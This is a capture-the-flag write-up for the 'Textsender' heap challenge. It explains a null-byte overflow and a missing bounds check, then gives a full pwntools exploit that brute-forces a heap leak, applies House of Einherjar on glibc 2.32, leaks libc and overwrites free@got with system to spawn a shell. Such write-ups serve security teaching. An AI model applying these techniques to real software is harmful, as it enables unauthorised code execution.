---
# System prepended metadata

title: TEXTSENDER

---

# Textsender

## Vulnerabilities
There is a one null byte overflow in the function `input` with this we can apply house of einherjar technique, you can find detail of the technique for libc 2.32 in [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.32/house_of_einherjar.c). This technique also requires us to have a heap leak.

Another vulnerability is in function `edit_message`, there is no boudary check in the below section of code which allows us to leak some value on the heap
![](https://hackmd.io/_uploads/rJ46D-RCh.png)

![](https://hackmd.io/_uploads/rkjJA1R02.png)

## Exploitation

Here is the skeleton code
```python
#!/usr/bin/env python3

from pwn import *

e = ELF("./textsender_patched")
libc = ELF("./libc-2.32.so")
ld = ELF("./ld-2.32.so")

context.binary = e

gs = """
    c
"""

if args.REMOTE:
    p = remote("chals.sekai.team", 1337)
else:
    p = process([e.path])

if args.GDB:
    gdb.attach(p,gs)

def set_sender(name):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"name: ", name)

def add_msg(dst, msg):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Receiver: ", dst)
    p.sendlineafter(b"Message: ", msg)

def edit_msg(name, msg):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Name: ", name)
    p.sendlineafter(b"message: ", msg)

def print_all():
    p.sendlineafter(b"> ", b"4")

def send_all():
    p.sendlineafter(b"> ", b"5")

def free_size(size):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Name: ", B"X"*size)
```

First, we will get the heap leak with the vulnerability in function `edit_message`, basically, we just brute-force to get the heap leak.
```python
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()

set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")

prefix = b"E"*8 + p64(0)*14 + p64(0x201)

count = 0

while count <= 3:
    found = False
    for i in range(1,256):
        if i == 0xa:
            continue
        name = prefix + p8(i)
        p.sendlineafter(b"> ", b"3")
        p.sendlineafter(b"Name: ", name)
        if b"[-]" in p.recvline():
            continue
        else:
            found = True
            prefix += p8(i)
            count += 1
            p.sendline(f"sucess_{count}".encode())
    if not found:
        break

heap_leak = u64(prefix[128:].ljust(8, b"\x00"))
heap_base = heap_leak << 12
print("heap leak: " + str(hex(heap_leak)))
```

View the heap then you know why the `prefix = b"E"*8 + p64(0)*14 + p64(0x201)`

![](https://hackmd.io/_uploads/ByerNgR0n.png)

Next, I am going to apply the house of einherjar technique, but I will forge the heap layout to make it easier to exploit with these lines of code
```python
send_all()

set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
send_all()
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()
```
Now is the house of einherjar
```pyhon
for i in range(6):
    add_msg(b"chunk_0", b"chunk_0")


addr = heap_base + 7216
fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2
add_msg(b"chunk_1", fake_chunk)
add_msg(p64(0)*14 + p64(0xc0), b"DDDD2")
set_sender(b"padding")
send_all()
```

This is the state of the heap before the `send_all()`

![](https://hackmd.io/_uploads/rJBjUgCCh.png)

After `send_all()`, we can observe that chunks are overlapped

![](https://hackmd.io/_uploads/HyBHDlCR3.png)

Now is the remaining part of the technique, leak libc then overwrite `free@got` with `system`

```python
for i in range(7):
    add_msg(b"chunk_0", b"chunk_0")

target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"])

add_msg(b"/bin/sh", target)
print_all()
p.recvuntil(b"/bin/sh: ")
libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"]
set_sender(b"/bin/sh")

edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"]))
p.interactive()
```

Ful script
```python
#!/usr/bin/env python3

from pwn import *

e = ELF("./textsender_patched")
libc = ELF("./libc-2.32.so")
ld = ELF("./ld-2.32.so")

context.binary = e

gs = """
    c
"""

if args.REMOTE:
    p = remote("chals.sekai.team", 1337)
else:
    p = process([e.path])

if args.GDB:
    gdb.attach(p,gs)

def set_sender(name):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"name: ", name)

def add_msg(dst, msg):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Receiver: ", dst)
    p.sendlineafter(b"Message: ", msg)

def edit_msg(name, msg):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Name: ", name)
    p.sendlineafter(b"message: ", msg)

def print_all():
    p.sendlineafter(b"> ", b"4")

def send_all():
    p.sendlineafter(b"> ", b"5")

def free_size(size):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Name: ", B"X"*size)


add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()

set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")

# input("wait")
prefix = b"E"*8 + p64(0)*14 + p64(0x201)

count = 0

while count <= 3:
    found = False
    for i in range(1,256):
        if i == 0xa:
            continue
        name = prefix + p8(i)
        p.sendlineafter(b"> ", b"3")
        p.sendlineafter(b"Name: ", name)
        if b"[-]" in p.recvline():
            continue
        else:
            found = True
            prefix += p8(i)
            count += 1
            p.sendline(f"sucess_{count}".encode())
    if not found:
        break

heap_leak = u64(prefix[128:].ljust(8, b"\x00"))
heap_base = heap_leak << 12
print("heap leak: " + str(hex(heap_leak)))
send_all()

set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
send_all()
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()

# input("wait")

for i in range(6):
    add_msg(b"chunk_0", b"chunk_0")


addr = heap_base + 7216
fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2
add_msg(b"chunk_1", fake_chunk)
add_msg(p64(0)*14 + p64(0xc0), b"DDDD2")
set_sender(b"padding")
send_all()

for i in range(7):
    add_msg(b"chunk_0", b"chunk_0")

target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"])

add_msg(b"/bin/sh", target)
print_all()
p.recvuntil(b"/bin/sh: ")
libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"]
set_sender(b"/bin/sh")

edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"]))
p.interactive()
```
